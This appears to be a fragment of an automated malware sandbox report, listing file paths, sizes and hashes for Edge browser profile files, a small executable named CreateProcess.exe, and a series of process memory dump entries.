SHA512 101974dc3da02d4f30b836835783d64ce73089bbf9fcc56c456bf1ab90936bf7f678ae3d6ee2f6e067146b39edbd98673d93c71e3e0161316ed4bc9918c7c996
SSDEEP 768:zrv+4UNbdZs3Cv/CqyLBLxpAam6aQMGdjWca4Ghf9iRC:zbsbvs3CvUbmaME6piE
TLSH
T164F2AE31A868D8739DF79695F21F3787BEF021A388C40E84D9D86B0D469718E270BD1B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 f7d6b8969aa6affc2ef0f0674a3592705f0917a713ef73c80cb0be567b379f44
MD5 fda713d21f94bf014d9d790e85d7538b
SHA1 1044d8b5004977ee08b3816cd3f9da1da54281fb
SHA512 6ddf3f55c129766a4537ed7c6dcb034d6c6e46062ff8f9bfd16e8a57b0a30e8d05b708df0498cd9758f0e199b322c24f7e24a4b5d7e87d8ee0cc22320a87830a
SSDEEP 768:LF1j+9gs37wgvvtPe8LBLZAam6aQMGdjWca4Ghf9iYy:K9gs3Bvt9maME6piv
TLSH
T18C0307F198D78937D8AE4787A73D2E8699BCC16374885984FBC85D0CCD831BFD206916
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 30KB
SHA256 70417c5cc1275ba7c8a2f904c046c29437c1cd759f6d78aabf63e90b0e31d289
MD5 27af77c5d8af0dc596d455eead1b8483
SHA1 0d1cec290f81681a277b140a0b167bdff5d10e72
SHA512 1d05eeabf17796891a00a10ed67124d510499bd52da22ffb26764fd0b113b5af36b503eafce3649a783d60e5238a4b3d5dd461b21cb1a82560f1c235856f8584
SSDEEP 768:fj+9Ls3zv7CqyLBLxIAam6aQMGdjWca4Ghf9iYy:S9Ls3zv4imaME6piv
TLSH
T16FD28E3168699C779CE69695F72B37C7BDF011B388C81E88C9D86B0D06D724E270792B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 30KB
SHA256 99c028657ab93f07dbafe4dee6f01e6a38cfacdbb5f6bf5a6e5e28a61952dd92
MD5 37ccb12e6249288126cea14e75a74664
SHA1 524a3c78aef14b301ba4fff0d458e687fa68ed2c
SHA512 16a7652f65fa7c3267f61a357e60c355fd9f5cc373129c85d114d74f8b02e001d803d561d11ea8293c827a9d2031b45d1e31ed445d88e0cf99a66dc0a8939191
SSDEEP 768:4j+9Ls3Ev7CqyLBLxIAam6aQMGdjWca4Ghf9iYy:n9Ls3Ev4imaME6piv
TLSH
T10CD29E3168699C379CE69695F72B37C7BDF011B388C41E88C9D86B0D06C728E270792B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

e4c28004-3259-4665-b892-a0397d4e322b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\e4c28004-3259-4665-b892-a0397d4e322b.tmp
Size 34KB
SHA256 099d05dea5cc945322131476d673f54129f9b9aabead6926c0652930bb2a2898
MD5 251044b4eba300a9913a6bd9d188e79c
SHA1 ac2c8e664007e545c514ce68e1bfd593633bc04d
SHA512 41bd23143b01aeaf51b2a196776955ca2170e829f2abb348f7b4c205b9d0882dbdfeae3dfe8995cdf081635057844f553c5b434793a80ce6129d1f683f96d727
SSDEEP 768:/rv+4UNbdq3buqyL8AAam6aQMGdjWca4GhfBKPeU/:/bsbc3DKmaME6pSH
TLSH
T14EF2AF31A86C9973DDB79A95F21F6787BEF021A384D40E84C9D96B0D439718E2307D27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

d54600ee-5082-44a5-9de6-98afa38e7936.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\d54600ee-5082-44a5-9de6-98afa38e7936.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

CreateProcess.exe

Path C:\temp\CreateProcess.exe
Size 3KB
SHA256 2f6a68fd9ad93fb160ab4108325f100711d128322c94a68f7102680f7a466da0
MD5 75cd0ebac9aa832ca828f8e090e8e6bf
SHA1 e7e241eaa1056f4a2dfe597f9b3c43026893acfa
SHA512 6a078c0e497e6edc9b9b15e5ff1116d7b38e9830fa733256139d965a4d7ebc257102f76111ed7bc4106adfc82143344fd8b13fb1f0ab09e9ce6d6683348dea23
TLSH
T14671238357A8D5B3C1DE9BF502835644F6FB2238073370240BA1598AEB30A7A58B8F04
MD5 SHA1 SHA512 TLSH

Submit Download

memory/776-346-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/972-320-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1156-366-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1348-316-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1348-343-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1656-253-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/1988-401-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2420-301-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2456-241-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2836-379-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/2996-265-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3328-405-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/3644-162-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4256-66-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4544-384-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4784-388-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4944-392-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/4944-409-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/5452-293-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6056-396-0x0000000000010000-0x00000000000AB000-memory.dmp

Download

memory/6120-213-0x0000000000010000-0x00000000000AB000-memory.dmp

Download